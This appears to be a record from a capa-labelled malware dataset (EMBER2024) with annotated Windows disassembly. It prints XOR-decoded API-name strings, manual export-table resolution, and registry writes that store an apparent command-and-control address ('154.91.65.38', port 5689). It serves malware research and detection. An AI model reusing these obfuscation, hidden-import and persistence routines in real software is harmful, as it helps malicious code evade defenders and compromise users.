joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400d0680
Capabilities:
Encode data using xor

Disassembly:
mov rax, rcx
neg rcx
test rax, 7
je 0x1400d069d
nop
mov dl, byte [rax]
inc rax
test dl, dl
je 0x1400d06f8
test al, 7
jne 0x1400d0690
movabs r8, 0x7efefefefefefeff
movabs r11, 0x8101010101010100
mov rdx, qword [rax]
mov r9, r8
add rax, 8
add r9, rdx
not rdx
xor rdx, r9
and rdx, r11
je 0x1400d06b1
mov rdx, qword [rax - 8]
test dl, dl
je 0x1400d0722
test dh, dh
je 0x1400d071c
shr rdx, 0x10
test dl, dl
je 0x1400d0716
test dh, dh
je 0x1400d0710
shr rdx, 0x10
test dl, dl
je 0x1400d070a
test dh, dh
je 0x1400d0704
shr edx, 0x10
test dl, dl
je 0x1400d06fe
test dh, dh
jne 0x1400d06b1
lea rax, [rax + rcx - 1]
ret
lea rax, [rax + rcx - 2]
ret
lea rax, [rax + rcx - 3]
ret
lea rax, [rax + rcx - 4]
ret
lea rax, [rax + rcx - 5]
ret
lea rax, [rax + rcx - 6]
ret
lea rax, [rax + rcx - 7]
ret
lea rax, [rax + rcx - 8]
ret

Function at 0x1400d1cd0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400d1cf8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1400d1cf8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret

Function at 0x1400dd3a0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x20
mov rsi, rcx
test rcx, rcx
jne 0x1400dd3d2
call fcn.1400ca688
mov dword [rax], 0x16
call fcn.1400d45fc
jmp 0x1400dd4f1
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x1400dd4f1
mov eax, dword [rcx + 0x14]
shr eax, 0xc
test al, 1
jne 0x1400dd4f1
mov eax, dword [rcx + 0x14]
shr eax, 1
test al, 1
je 0x1400dd401
lock or dword [rcx + 0x14], 0x10
jmp 0x1400dd4f1
lock or dword [rcx + 0x14], 1
mov eax, dword [rcx + 0x14]
test eax, 0x4c0
jne 0x1400dd415
call fcn.1400e2cd4
mov rdi, qword [rsi + 8]
mov rcx, rsi
mov ebx, dword [rsi + 0x20]
mov qword [rsi], rdi
call fcn.1400d638c
mov r8d, ebx
mov rdx, rdi
mov ecx, eax
call fcn.1400ddcdc
mov dword [rsi + 0x10], eax
lea ecx, [rax + 1]
cmp ecx, 1
jbe 0x1400dd4df
mov eax, dword [rsi + 0x14]
or edi, 0xffffffff
test al, 6
jne 0x1400dd4aa
mov rcx, rsi
call fcn.1400d638c
cmp eax, edi
je 0x1400dd495
mov rcx, rsi
call fcn.1400d638c
cmp eax, 0xfffffffe
je 0x1400dd495
mov rcx, rsi
call fcn.1400d638c
movsxd rbx, eax
lea r14, [0x14012ff70]
mov rcx, rsi
sar rbx, 6
call fcn.1400d638c
and eax, 0x3f
lea rcx, [rax + rax*8]
mov rax, qword [r14 + rbx*8]
lea rdx, [rax + rcx*8]
jmp 0x1400dd49c
lea rdx, [0x14012b2e0]
mov al, byte [rdx + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x1400dd4aa
lock or dword [rsi + 0x14], 0x20
cmp dword [rsi + 0x20], 0x200
jne 0x1400dd4ce
mov eax, dword [rsi + 0x14]
shr eax, 6
test al, 1
je 0x1400dd4ce
mov eax, dword [rsi + 0x14]
shr eax, 8
test al, 1
jne 0x1400dd4ce
mov dword [rsi + 0x20], 0x1000
mov rax, qword [rsi]
add dword [rsi + 0x10], edi
movzx edi, byte [rax]
inc rax
mov qword [rsi], rax
jmp 0x1400dd4f4
neg eax
sbb eax, eax
and eax, 8
add eax, 8
lock or dword [rsi + 0x14], eax
and dword [rsi + 0x10], 0
or edi, 0xffffffff
mov rbx, qword [rsp + 0x30]
mov eax, edi
mov rdi, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop r14
ret
Function at 0x180001000
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x60
mov rax, qword [0x180018008]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov dword [rbp - 0x20], 0xf5fce3f8
xor edx, edx
mov dword [rbp - 0x1c], 0xf1f8b5f6
mov word [rbp - 0x18], 0xf2
movsxd rax, edx
lea rcx, [rbp - 0x20]
add rcx, rax
lea eax, [rdx - 0x6a]
inc edx
xor byte [rcx], al
cmp edx, 9
jb 0x180001031
lea rcx, [rbp - 0x20]
mov byte [rbp - 0x17], 0
call qword [0x180019c10]
mov rbx, rax
test rax, rax
je 0x1800011ea
movdqa xmm0, xmmword [0x180016300]
xor edx, edx
movdqu xmmword [rbp - 0x40], xmm0
mov dword [rbp - 0x30], 0xdbf8c9c9
mov dword [rbp - 0x2c], 0xdec9c8c5
mov word [rbp - 0x28], 0xdd
nop dword [rax]
nop dword [rax + rax]
movsxd rax, edx
lea rcx, [rbp - 0x40]
add rcx, rax
lea eax, [rdx - 0x6a]
inc edx
xor byte [rcx], al
cmp edx, 0x19
jb 0x180001090
lea rdx, [rbp - 0x40]
mov byte [rbp - 0x27], 0
mov rcx, rbx
call fcn.180003850
movdqa xmm0, xmmword [0x180016260]
mov qword [0x180019bb0], rax
xor eax, eax
mov byte [rbp - 0x2e], al
xor edx, edx
movdqu xmmword [rbp - 0x40], xmm0
mov word [rbp - 0x30], 0xc3c7
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rbp - 0x40]
add rcx, rax
lea eax, [rdx - 0x6a]
inc edx
xor byte [rcx], al
cmp edx, 0x12
jb 0x1800010e0
lea rdx, [rbp - 0x40]
mov byte [rbp - 0x2e], 0
mov rcx, rbx
call fcn.180003850
movdqa xmm0, xmmword [0x1800162e0]
mov qword [0x180019c80], rax
xor eax, eax
mov byte [rbp - 0x2a], al
xor edx, edx
movdqu xmmword [rbp - 0x40], xmm0
mov dword [rbp - 0x30], 0xccdacff2
mov word [rbp - 0x2c], 0xcfcb
nop
movsxd rax, edx
lea rcx, [rbp - 0x40]
add rcx, rax
lea eax, [rdx - 0x6a]
inc edx
xor byte [rcx], al
cmp edx, 0x16
jb 0x180001130
lea rdx, [rbp - 0x40]
mov byte [rbp - 0x2a], 0
mov rcx, rbx
call fcn.180003850
movdqa xmm0, xmmword [0x180016280]
mov qword [0x180019ca0], rax
xor eax, eax
mov byte [rbp - 0x28], al
xor edx, edx
movdqu xmmword [rbp - 0x40], xmm0
mov dword [rbp - 0x30], 0xc8c5d5c9
mov dword [rbp - 0x2c], 0xc3c3c2de
nop
movsxd rax, edx
lea rcx, [rbp - 0x40]
add rcx, rax
lea eax, [rdx - 0x6a]
inc edx
xor byte [rcx], al
cmp edx, 0x18
jb 0x180001180
lea rdx, [rbp - 0x40]
mov byte [rbp - 0x28], 0
mov rcx, rbx
call fcn.180003850
cmp qword [0x180019bb0], 0
mov qword [0x180019bf0], rax
je 0x1800011ea
cmp qword [0x180019c80], 0
je 0x1800011ea
mov r10, qword [0x180019ca0]
test r10, r10
je 0x1800011ea
test rax, rax
je 0x1800011ea
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x11]
lea rcx, [r9 - 2]
call r10
mov eax, 1
jmp 0x1800011ec
xor eax, eax
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.180003960
mov rbx, qword [rsp + 0x70]
add rsp, 0x60
pop rbp
ret
Function at 0x180001230
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
mov rbp, rsp
sub rsp, 0x60
mov rax, qword [0x180018008]
xor rax, rsp
mov qword [rbp - 0x10], rax
xor ebx, ebx
mov dword [rbp - 0x20], 0xf5fce3f8
mov edx, ebx
mov dword [rbp - 0x1c], 0xf1f8b5f6
mov word [rbp - 0x18], 0xf2
nop dword [rax + rax]
movsxd rax, edx
lea rcx, [rbp - 0x20]
add rcx, rax
lea eax, [rdx - 0x6a]
inc edx
xor byte [rcx], al
cmp edx, 9
jb 0x180001270
lea rcx, [rbp - 0x20]
mov byte [rbp - 0x17], bl
call qword [0x180019c10]
mov rdi, rax
test rax, rax
je 0x180001407
movdqa xmm0, xmmword [0x180016250]
mov edx, ebx
movdqu xmmword [rbp - 0x40], xmm0
mov word [rbp - 0x30], 0xd4
nop dword [rax]
nop dword [rax + rax]
movsxd rcx, edx
lea eax, [rdx - 0x6a]
inc edx
xor byte [rbp + rcx - 0x40], al
cmp edx, 0x11
jb 0x1800012c0
lea rdx, [rbp - 0x40]
mov byte [rbp - 0x2f], bl
mov rcx, rdi
call fcn.180003850
movdqa xmm0, xmmword [0x180016290]
mov edx, ebx
movdqu xmmword [rbp - 0x40], xmm0
mov qword [0x180019c30], rax
mov dword [rbp - 0x30], 0xdac2c0
nop dword [rax]
movsxd rax, edx
lea rcx, [rbp - 0x40]
add rcx, rax
lea eax, [rdx - 0x6a]
inc edx
xor byte [rcx], al
cmp edx, 0x13
jb 0x180001300
lea rdx, [rbp - 0x40]
mov byte [rbp - 0x2d], bl
mov rcx, rdi
call fcn.180003850
movdqa xmm0, xmmword [0x180016340]
mov edx, ebx
movdqu xmmword [rbp - 0x40], xmm0
mov qword [0x180019c38], rax
mov dword [rbp - 0x30], 0xc6dad5e3
mov word [rbp - 0x2c], 0xd8
nop dword [rax + rax]
movsxd rax, edx
lea rcx, [rbp - 0x40]
add rcx, rax
lea eax, [rdx - 0x6a]
inc edx
xor byte [rcx], al
cmp edx, 0x15
jb 0x180001350
lea rdx, [rbp - 0x40]
mov byte [rbp - 0x2b], bl
mov rcx, rdi
call fcn.180003850
movdqa xmm0, xmmword [0x1800162c0]
mov qword [0x180019c00], rax
xor eax, eax
mov byte [rbp - 0x22], al
movdqu xmmword [rbp - 0x40], xmm0
mov dword [rbp - 0x30], 0xdbc7f0c8
mov dword [rbp - 0x2c], 0xccdcf8c1
mov dword [rbp - 0x28], 0xd8e3cacd
mov word [rbp - 0x24], 0xd6c8
nop dword [rax]
movsxd rax, ebx
lea rcx, [rbp - 0x40]
add rcx, rax
lea eax, [rbx - 0x6a]
inc ebx
xor byte [rcx], al
cmp ebx, 0x1e
jb 0x1800013b0
lea rdx, [rbp - 0x40]
mov byte [rbp - 0x22], 0
mov rcx, rdi
call fcn.180003850
cmp qword [0x180019c30], 0
mov qword [0x180019bd8], rax
je 0x180001407
cmp qword [0x180019c38], 0
je 0x180001407
test rax, rax
je 0x180001407
cmp qword [0x180019c00], 0
je 0x180001407
mov eax, 1
jmp 0x180001409
xor eax, eax
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.180003960
mov rbx, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x60
pop rbp
ret
Function at 0x1800014b0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
mov rbp, rsp
sub rsp, 0x50
mov rax, qword [0x180018008]
xor rax, rsp
mov qword [rbp - 8], rax
mov rdi, qword [0x180019bc8]
xor ebx, ebx
test rdi, rdi
jne 0x1800014e5
mov eax, ebx
jmp 0x1800016e3
mov dword [rbp - 0x30], 0xf8fde5d5
mov edx, ebx
mov dword [rbp - 0x2c], 0xf4dafeee
mov dword [rbp - 0x28], 0xe1faf2
nop dword [rax]
movsxd rax, edx
lea rcx, [rbp - 0x30]
add rcx, rax
lea eax, [rdx - 0x6a]
inc edx
xor byte [rcx], al
cmp edx, 0xb
jb 0x180001500
lea rdx, [rbp - 0x30]
mov byte [rbp - 0x25], bl
mov rcx, rdi
call fcn.180003850
mov qword [0x180019c90], rax
mov edx, ebx
xor eax, eax
mov dword [rbp - 0x30], 0xfdf9f2c4
mov byte [rbp - 0x28], al
mov dword [rbp - 0x2c], 0xf8f0f2dc
movsxd rax, edx
lea rcx, [rbp - 0x30]
add rcx, rax
lea eax, [rdx - 0x6a]
inc edx
xor byte [rcx], al
cmp edx, 8
jb 0x180001541
lea rdx, [rbp - 0x30]
mov byte [rbp - 0x28], bl
mov rcx, rdi
call fcn.180003850
mov qword [0x180019c60], rax
mov edx, ebx
mov dword [rbp - 0x30], 0xeaf7fbd5
mov dword [rbp - 0x2c], 0xf3fdd3ff
mov dword [rbp - 0x28], 0xc5f3fa
nop dword [rax]
nop dword [rax + rax]
movsxd rax, edx
lea rcx, [rbp - 0x30]
add rcx, rax
lea eax, [rdx - 0x6a]
inc edx
xor byte [rcx], al
cmp edx, 0xb
jb 0x180001590
lea rdx, [rbp - 0x30]
mov byte [rbp - 0x25], bl
mov rcx, rdi
call fcn.180003850
mov qword [0x180019cb8], rax
mov r8d, ebx
mov dword [rbp - 0x20], 0xdfecf2d1
mov dword [rbp - 0x1c], 0xcef9f7f3
mov dword [rbp - 0x18], 0xc5e5f7
nop dword [rax]
nop dword [rax + rax]
movsxd rax, r8d
lea rdx, [rbp - 0x20]
add rdx, rax
lea eax, [r8 - 0x6a]
inc r8d
xor byte [rdx], al
cmp r8d, 0xb
jb 0x1800015e0
lea rdx, [rbp - 0x20]
mov byte [rbp - 0x15], bl
mov rcx, rdi
call fcn.180003850
mov qword [0x180019c88], rax
mov edx, ebx
mov dword [rbp - 0x30], 0xeef4ffe5
mov dword [rbp - 0x2c], 0xf5ebfb
nop
movsxd rax, edx
lea rcx, [rbp - 0x30]
add rcx, rax
lea eax, [rdx - 0x6a]
inc edx
xor byte [rcx], al
cmp edx, 7
jb 0x180001620
lea rcx, [rbp - 0x30]
mov byte [rbp - 0x29], bl
call qword [0x180019c08]
mov rdi, rax
test rax, rax
je 0x1800014de
movdqa xmm0, xmmword [0x180016330]
mov edx, ebx
movdqu xmmword [rbp - 0x20], xmm0
mov dword [rbp - 0x10], 0xe9c4c3
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rbp - 0x20]
add rcx, rax
lea eax, [rdx - 0x6a]
inc edx
xor byte [rcx], al
cmp edx, 0x13
jb 0x180001670
lea rdx, [rbp - 0x20]
mov byte [rbp - 0xd], bl
mov rcx, rdi
call fcn.180003850
mov qword [0x180019c98], rax
mov dword [rbp - 0x20], 0xf1ecf6c6
mov dword [rbp - 0x1c], 0xf8ecebdb
mov dword [rbp - 0x18], 0xe1fbf0
movsxd rax, ebx
lea rcx, [rbp - 0x20]
add rcx, rax
lea eax, [rbx - 0x6a]
inc ebx
xor byte [rcx], al
cmp ebx, 0xb
jb 0x1800016b1
lea rdx, [rbp - 0x20]
mov byte [rbp - 0x15], 0
mov rcx, rdi
call fcn.180003850
mov qword [0x180019c70], rax
mov eax, 1
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.180003960
mov rbx, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x50
pop rbp
ret
Function at 0x180002cf0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov rax, qword [0x180018008]
xor rax, rsp
mov qword [rbp - 0x10], rax
xor eax, eax
mov dword [rbp - 0x30], 0xf8eef3f7
xor ebx, ebx
mov dword [rbp - 0x2c], 0xafaff2ea
mov edx, ebx
mov dword [rbp - 0x28], 0xcdccfbb0
mov byte [rbp - 0x24], al
nop dword [rax]
movsxd rax, edx
lea rcx, [rbp - 0x30]
add rcx, rax
lea eax, [rdx - 0x6a]
inc edx
xor byte [rcx], al
cmp edx, 0xc
jb 0x180002d30
lea rcx, [rbp - 0x30]
mov byte [rbp - 0x24], bl
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [rbp - 0x20], 0xd6fff2c4
mov edx, ebx
mov r8, rax
mov dword [rbp - 0x1c], 0xd6f2feea
mov dword [rbp - 0x18], 0xd9e5e6fb
mov word [rbp - 0x14], 0xe3
nop dword [rax]
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rbp - 0x20]
add rcx, rax
lea eax, [rdx - 0x6a]
inc edx
xor byte [rcx], al
cmp edx, 0xd
jb 0x180002d80
lea rdx, [rbp - 0x20]
mov byte [rbp - 0x13], bl
mov rcx, r8
call fcn.180003850
test rax, rax
mov qword [0x180019bf8], rax
setne bl
mov eax, ebx
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.180003960
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
Function at 0x180002dd0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x180018008]
xor rax, rsp
mov qword [rbp - 8], rax
xor eax, eax
mov dword [rbp - 0x48], 0xf8eef3f7
xor ebx, ebx
mov dword [rbp - 0x44], 0xafaff2ea
mov edx, ebx
mov dword [rbp - 0x40], 0xcdccfbb0
mov byte [rbp - 0x3c], al
movsxd rax, edx
lea rcx, [rbp - 0x48]
add rcx, rax
lea eax, [rdx - 0x6a]
inc edx
xor byte [rcx], al
cmp edx, 0xc
jb 0x180002e11
lea rcx, [rbp - 0x48]
mov byte [rbp - 0x3c], bl
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
test rax, rax
je 0x180002f9b
xor eax, eax
mov dword [rbp - 0x28], 0xcafff2c4
mov byte [rbp - 0x1a], al
mov edx, ebx
mov dword [rbp - 0x24], 0xfccaefff
mov dword [rbp - 0x20], 0xe4c5eaf2
mov word [rbp - 0x1c], 0xe2da
nop dword [rax]
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rbp - 0x28]
add rcx, rax
lea eax, [rdx - 0x6a]
inc edx
xor byte [rcx], al
cmp edx, 0xe
jb 0x180002e70
lea rdx, [rbp - 0x28]
mov byte [rbp - 0x1a], bl
mov rcx, rdi
call fcn.180003850
mov qword [0x180019c78], rax
test rax, rax
je 0x180002f9b
mov dword [rbp - 0x58], 0xdafff2c4
mov edx, ebx
mov dword [rbp - 0x54], 0xf8eff4f6
mov dword [rbp - 0x50], 0xd9fad5
nop dword [rax]
movsxd rax, edx
lea rcx, [rbp - 0x58]
add rcx, rax
lea eax, [rdx - 0x6a]
inc edx
xor byte [rcx], al
cmp edx, 0xb
jb 0x180002ec0
lea rdx, [rbp - 0x58]
mov byte [rbp - 0x4d], bl
mov rcx, rdi
call fcn.180003850
mov qword [0x180019c58], rax
test rax, rax
je 0x180002f9b
call fcn.180002cf0
mov edi, eax
test eax, eax
jle 0x180002f9d
xor eax, eax
mov dword [rbp - 0x38], 0xf8eef3f7
mov byte [rbp - 0x2c], al
mov edx, ebx
mov dword [rbp - 0x34], 0xafaff2ea
mov dword [rbp - 0x30], 0xcdccfbb0
movsxd rax, edx
lea rcx, [rbp - 0x38]
add rcx, rax
lea eax, [rdx - 0x6a]
inc edx
xor byte [rcx], al
cmp edx, 0xc
jb 0x180002f20
lea rcx, [rbp - 0x38]
mov byte [rbp - 0x2c], bl
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
movdqa xmm0, xmmword [0x180016220]
mov r8d, ebx
movdqu xmmword [rbp - 0x18], xmm0
nop dword [rax]
nop word [rax + rax]
movsxd rcx, r8d
lea rdx, [rbp - 0x18]
add rdx, rcx
lea ecx, [r8 - 0x6a]
inc r8d
xor byte [rdx], cl
cmp r8d, 0xf
jb 0x180002f60
lea rdx, [rbp - 0x18]
mov byte [rbp - 9], bl
mov rcx, rax
call fcn.180003850
mov qword [0x180019c48], rax
test rax, rax
je 0x180002f9b
mov eax, 1
jmp 0x180002fd6
mov edi, ebx
mov dword [rbp - 0x60], 0xb9eae5f3
mov dword [rbp - 0x5c], 0xafb6ab
nop dword [rax + rax]
movsxd rax, ebx
lea rcx, [rbp - 0x60]
add rcx, rax
lea eax, [rbx - 0x6a]
inc ebx
xor byte [rcx], al
cmp ebx, 7
jb 0x180002fb0
lea rcx, [rbp - 0x60]
mov byte [rbp - 0x59], 0
call qword [0x180019bb8]
mov eax, edi
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.180003960
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
Function at 0x180003850
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
push r12
push r15
sub rsp, 0x20
xor r15d, r15d
mov r12, rdx
mov rbx, rcx
test rcx, rcx
je 0x180003911
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x180003911
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x180003911
cmp dword [rax + rcx + 0x8c], r15d
je 0x180003911
mov edi, dword [rax + rcx + 0x88]
add rdi, rcx
mov eax, dword [rdi + 0x18]
test eax, eax
je 0x18000393b
cmp dword [rdi + 0x14], r15d
je 0x18000393b
mov qword [rsp + 0x40], rbp
mov ebp, dword [rdi + 0x20]
mov qword [rsp + 0x48], rsi
add rbp, rcx
mov qword [rsp + 0x50], r14
mov esi, r15d
mov r14d, dword [rdi + 0x24]
add r14, rcx
test eax, eax
je 0x180003902
nop dword [rax + rax]
mov edx, dword [rbp]
mov rcx, r12
add rdx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x180003923
inc esi
add rbp, 4
add r14, 2
cmp esi, dword [rdi + 0x18]
jb 0x1800038e0
mov rsi, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x40]
mov r14, qword [rsp + 0x50]
mov rax, r15
mov rbx, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r12
pop rdi
ret
movzx eax, word [r14]
cmp eax, dword [rdi + 0x14]
ja 0x180003902
mov ecx, dword [rdi + 0x1c]
add rcx, rbx
mov r15d, dword [rcx + rax*4]
add r15, rbx
jmp 0x180003902
mov rbx, qword [rsp + 0x58]
xor eax, eax
add rsp, 0x20
pop r15
pop r12
pop rdi
ret
Function at 0x1400029c4
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
push rdi
push r14
mov rbp, rsp
sub rsp, 0x70
or edi, 0xffffffff
mov esi, edx
mov rbx, rcx
cmp edx, edi
jne 0x1400029ec
xor eax, eax
jmp 0x140002b0e
mov rax, qword [rcx + 0x40]
mov rcx, qword [rax]
test rcx, rcx
je 0x140002a26
mov rdx, qword [rbx + 0x58]
movsxd r8, dword [rdx]
lea rax, [rcx + r8]
cmp rcx, rax
jae 0x140002a26
lea eax, [r8 - 1]
mov dword [rdx], eax
mov rcx, qword [rbx + 0x40]
mov rdx, qword [rcx]
lea rax, [rdx + 1]
mov qword [rcx], rax
mov eax, esi
mov byte [rdx], sil
jmp 0x140002b0e
cmp qword [rbx + 0x80], 0
je 0x140002b0c
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x140002a61
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x140002a84
movsx ecx, sil
mov rdx, qword [rbx + 0x80]
call fcn.140071570
cmp eax, edi
cmovne edi, esi
jmp 0x140002b0c
lea r8, [rbp + 0x30]
mov byte [rbp - 0x30], sil
mov rax, qword [rcx]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x38], r8
lea r9, [rbp - 0x2f]
lea r8, [rbp - 8]
mov qword [rsp + 0x30], r8
lea r8, [rbp - 0x28]
mov qword [rsp + 0x28], r8
lea r8, [rbp + 0x38]
mov qword [rsp + 0x20], r8
lea r8, [rbp - 0x30]
call qword [rax + 0x38]
test eax, eax
js 0x140002b0c
cmp eax, 1
jle 0x140002ad2
cmp eax, 3
jne 0x140002b0c
movsx ecx, byte [rbp - 0x30]
jmp 0x140002a6e
mov r14, qword [rbp + 0x30]
lea rax, [rbp - 0x28]
sub r14, rax
je 0x140002afc
mov r9, qword [rbx + 0x80]
lea rcx, [rbp - 0x28]
mov r8, r14
mov edx, 1
call fcn.14007423c
cmp r14, rax
jne 0x140002b0c
lea rax, [rbp - 0x30]
mov byte [rbx + 0x71], 1
cmp qword [rbp + 0x38], rax
mov eax, esi
jne 0x140002b0e
mov eax, edi
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret

Function at 0x1400031b0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x50
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x14000324a
cmp byte [rcx + 0x71], 0
je 0x14000324a
mov rax, qword [rcx]
or edx, 0xffffffff
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x14000320c
mov rcx, qword [rbx + 0x68]
lea r8, [rsp + 0x60]
mov qword [rsp + 0x20], r8
lea rdx, [rbx + 0x74]
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x30]
mov rax, qword [rcx]
call qword [rax + 0x40]
test eax, eax
je 0x140003210
sub eax, 1
je 0x140003214
sub eax, 2
je 0x14000324a
xor al, al
jmp 0x14000324c
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x60]
lea rax, [rsp + 0x30]
sub rdi, rax
je 0x140003241
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x30]
mov r8, rdi
mov edx, 1
call fcn.14007423c
cmp rdi, rax
jne 0x14000320c
cmp byte [rbx + 0x71], 0
sete al
jmp 0x14000324c
mov al, 1
mov rbx, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret
Function at 0x14006b33c
Capabilities:
Delete registry value
Set registry value

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
lea rbp, [rsp - 0x60]
sub rsp, 0x160
xor edx, edx
lea rcx, [rsp + 0x50]
mov r8d, 0x104
call fcn.14006f390
mov r8d, 0x104
lea rdx, [rsp + 0x50]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov al, byte [0x14019c920]
lea rdx, str.Console
movsd xmm0, qword [str.SelfPath]
mov r9d, 0x20006
mov byte [rsp + 0x48], al
xor r8d, r8d
movzx eax, word [0x14019c9a8]
mov rcx, 0xffffffff80000001
mov word [rsp + 0x38], ax
mov al, byte [0x14019c9aa]
mov byte [rsp + 0x3a], al
lea rax, [rbp + 0x70]
movsd qword [rsp + 0x40], xmm0
movsd xmm0, qword [str.IpDateInfo]
mov qword [rsp + 0x20], rax
movsd qword [rsp + 0x30], xmm0
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor ebx, ebx
test eax, eax
jne 0x14006b468
mov rcx, qword [rbp + 0x70]
lea rdx, str.IpDate
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov rcx, qword [rbp + 0x70]
lea rdx, [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov rcx, qword [rbp + 0x70]
lea rax, [rsp + 0x50]
mov dword [rsp + 0x28], 0x104
lea r9d, [rbx + 1]
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, str.i:154.91.65.38p:5689
or rax, 0xffffffffffffffff
inc rax
cmp word [rcx + rax*2], bx
jne 0x14006b432
add eax, eax
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x28], eax
mov r9d, 3
mov qword [rsp + 0x20], rcx
xor r8d, r8d
mov rcx, qword [rbp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rbp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rbx, qword [rsp + 0x178]
add rsp, 0x160
pop rbp
ret
Function at 0x14006b488
Capabilities:
Create process on windows
Delete file
Get common file path

Disassembly:
mov rax, rsp
push rbp
lea rbp, reloc.SHELL32.dll_IsUserAnAdmin
sub rsp, 0x3a0
mov qword [rsp + 0x60], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov edi, 0x104
mov r8d, edi
xor edx, edx
lea rcx, [rbp + 0x190]
call fcn.14006f390
lea rdx, [rbp + 0x190]
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
dec eax
cmp eax, 0x103
ja 0x14006b638
mov r8d, edi
xor edx, edx
lea rcx, [rbp + 0x80]
call fcn.14006f390
lea r9, str.dome.doc
lea r8, [rbp + 0x190]
lea rdx, str._s_s
lea rcx, [rbp + 0x80]
call fcn.14006bb9c
lea rdx, [rbp + 0x80]
lea rcx, [rsp + 0x40]
call fcn.140001cd4
nop
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x70]
call fcn.140001dcc
mov rax, qword [rsp + 0x70]
movsxd rax, dword [rax + 4]
mov ebx, dword [rbp + rax - 0x80]
lea rcx, [rbp + 0x20]
call fcn.140001d4c
nop
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x20], rax
lea rcx, [rbp + 0x20]
call fcn.14006c434
nop
test ebx, ebx
jne 0x14006b579
lea rcx, [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
and qword [rsp + 0x30], 0
mov eax, 2
mov dword [rsp + 0x28], eax
